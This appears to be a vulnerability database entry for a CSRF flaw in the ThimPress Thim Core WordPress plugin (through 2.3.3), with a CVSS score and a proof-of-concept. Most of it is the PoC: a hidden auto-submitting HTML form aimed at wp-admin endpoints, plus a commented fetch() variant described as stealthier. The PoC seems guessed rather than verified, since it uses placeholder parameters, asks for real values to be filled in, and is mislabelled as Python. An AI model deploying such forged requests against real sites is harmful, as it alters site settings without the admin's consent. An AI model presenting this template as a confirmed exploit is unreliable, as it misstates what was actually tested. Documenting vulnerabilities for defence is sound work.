Cross-Site Request Forgery (CSRF) vulnerability in ThimPress Thim Core allows Cross Site Request Forgery.This issue affects Thim Core: from n/a through 2.3.3.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Thim Core < 2.3.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-53344 -->
<!-- This PoC demonstrates the CSRF vulnerability in Thim Core plugin -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack Demo - CVE-2025-53344</title>
</head>
<body>
<h1>Malicious Page - Do Not Access</h1>
<p>This page demonstrates the CSRF vulnerability in Thim Core plugin.</p>
<!-- Auto-submit form targeting the vulnerable WordPress site -->
<form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
<!-- Replace with actual vulnerable action parameters -->
<input type="hidden" name="action" value="thim_core_action">
<input type="hidden" name="thim_setting" value="malicious_value">
<input type="hidden" name="nonce" value="">
<!-- Add other required form fields based on actual vulnerable endpoint -->
</form>
<script>
// Auto-submit the form when page loads
document.getElementById('csrfForm').submit();
// Alternatively, use fetch API for more stealthy attack
/*
fetch('http://target-site.com/wp-admin/admin-ajax.php', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'action=thim_core_vulnerable_action¶m1=value1¶m2=value2'
});
*/
</script>
<p>If you see this message, the attack may have failed.</p>
</body>
</html>